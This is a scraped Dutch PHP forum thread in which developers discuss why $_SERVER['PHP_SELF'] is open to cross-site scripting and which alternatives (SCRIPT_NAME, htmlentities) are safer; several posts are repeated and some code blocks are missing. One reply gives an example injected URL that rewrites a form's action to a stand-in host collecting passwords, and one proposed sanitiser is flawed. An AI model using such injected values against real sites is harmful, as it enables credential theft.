onveilige PHP_SELF vervangen.
Ik weet ondertussen al een tijd dat de $_SERVER['PHP_SELF'] variabele niet te vertrouwen is. (aangezien deze XSS kan bevatten)
Nu wil ik dus op een andere manier erachter komen op welke pagina ik nu zit. Ik hoorde dat __FILE__ hierbij de oplossing was, tot ik erachter kwam dat dit niet lekker werkt bij een include (omdat hij dat de file van de include pakt en niet van de relatieve pagina).
Hoe kom ik - op een veilige manier - achter de huidige pagina? (Graag zonder elke pagina te beginnen met $curPage = 'pagina.php';)
Via google kwam ik op topics waar mensen zeiden dat ze $_SERVER['SCRIPT_NAME'] gebruikten, maar is deze dan wel veilig?
Gr,
Mark
Nu wil ik dus op een andere manier erachter komen op welke pagina ik nu zit. Ik hoorde dat __FILE__ hierbij de oplossing was, tot ik erachter kwam dat dit niet lekker werkt bij een include (omdat hij dat de file van de include pakt en niet van de relatieve pagina).
Hoe kom ik - op een veilige manier - achter de huidige pagina? (Graag zonder elke pagina te beginnen met $curPage = 'pagina.php';)
Via google kwam ik op topics waar mensen zeiden dat ze $_SERVER['SCRIPT_NAME'] gebruikten, maar is deze dan wel veilig?
Gr,
Mark
Gesponsorde koppelingen:
Kan je niet een variabele of constant maken van die __FILE__?
Maar ik las net dat SCRIPT_NAME wel veilig is. (link)
Maar ik las net dat SCRIPT_NAME wel veilig is. (link)
Gewijzigd op 04/07/2010 17:36:37 door Erwin Geen
Weet je waarom $_SERVER['PHP_SELF'] niet veilig is? Als je dat weet, kan je andere variabelen in $_SERVER proberen, zoals bijvoorbeeld SCRIPT_NAME, om te kijken of die diezelfde lekken vertonen.
Hint: PHP_SELF bevat de URL zoals je hem aanroept. Dus wanneer je een quote in je url zet, komt die ook in PHP_SELF. Als je dan bijv. <form action="{$PHP_SELF}"> neer zou zetten, en je roept de pagina aan als test.php?%22+action%3D%22http%3A%2F%2Fwww.bad.com%2Fsavepassword.php dan verwijst het formulier plots naar een andere site.
Hint: PHP_SELF bevat de URL zoals je hem aanroept. Dus wanneer je een quote in je url zet, komt die ook in PHP_SELF. Als je dan bijv. <form action="{$PHP_SELF}"> neer zou zetten, en je roept de pagina aan als test.php?%22+action%3D%22http%3A%2F%2Fwww.bad.com%2Fsavepassword.php dan verwijst het formulier plots naar een andere site.
PATH_INFO word - als dit aanstaat op de server - meegestuurd in de variabele. Dit is daardoor van buitenaf beïnvloedbaar en XSS gevaren met zich mee.
Her fijne weet ik er eerlijk gezegd niet van, zou ik me inderdaad nog eens in moeten verdiepen.
Her fijne weet ik er eerlijk gezegd niet van, zou ik me inderdaad nog eens in moeten verdiepen.
Wat ik persoonlijk gebruik, is het volgende:
Volgens mij pakt ie dan (in het voorbeeld van Jelmer) ook écht het eigen bestandsnaam.
Zie bijv. de volgende link:
Test
Code:
Werkt dus best goed, voor zover ik weet.
Volgens mij pakt ie dan (in het voorbeeld van Jelmer) ook écht het eigen bestandsnaam.
Zie bijv. de volgende link:
Test
Code:
Werkt dus best goed, voor zover ik weet.
Gewijzigd op 04/07/2010 21:23:08 door Jannick Bolten
Hmm, OK, you've got me. Ik had vroeger een ander stukje, maar die ben ik helaas kwijt. Dan is inderdaad SCRIPT_NAME nog het beste. Maar ja, zoals al bekend is, niets is veilig genoeg.
Volgens mij is dit veilig:
Ja je kunt quotes in de URL hebben, maar er wordt dan nog geen code uitgevoerd door je browser.
Code (php)
1
2
3
2
3
<?php
$_SERVER['PHP_SELF'] = str_replace(array('<', '>', '"'), array('%3C', '%3E', '"'), $_SERVER['PHP_SELF']);
?>
$_SERVER['PHP_SELF'] = str_replace(array('<', '>', '"'), array('%3C', '%3E', '"'), $_SERVER['PHP_SELF']);
?>
Ja je kunt quotes in de URL hebben, maar er wordt dan nog geen code uitgevoerd door je browser.
Edit:
De quote heb ik er nu ook bij gezet. Dankzij Jelmer rrrr.
De quote heb ik er nu ook bij gezet. Dankzij Jelmer rrrr.
Gewijzigd op 04/07/2010 22:39:42 door Martijn B
Quotes in $PHP_SELF, en een form-element waar hij wordt gebruikt is genoeg om code uit te voeren op zich. onmouseover is goed genoeg om Javascript uit te voeren, redelijke kans dat iemand met z'n muis over een form-elementje gaat. Maar htmlspecialchars of htmlentities biedt voldoende beveiliging.
dit is als het goed is voldoende, zoals jelmer aangeeft
Waarom dan nog basename?
Basename sowieso niet gebruiken zonder vorm van validatie als het van de bezoeker komt.
basename('/een/pad/naar/..') -> ..
dirname('/een/pad/naar/../raar') -> ..
Gebruik dan realpath() of een functie die //, /./ en /../ weghaalt.
dit is prima: htmlentities($_SERVER['PHP_SELF'])
Of je doet gewoon: <form action="denaamvanhetphpbestand.php">
Basename sowieso niet gebruiken zonder vorm van validatie als het van de bezoeker komt.
basename('/een/pad/naar/..') -> ..
dirname('/een/pad/naar/../raar') -> ..
Gebruik dan realpath() of een functie die //, /./ en /../ weghaalt.
dit is prima: htmlentities($_SERVER['PHP_SELF'])
Of je doet gewoon: <form action="denaamvanhetphpbestand.php">



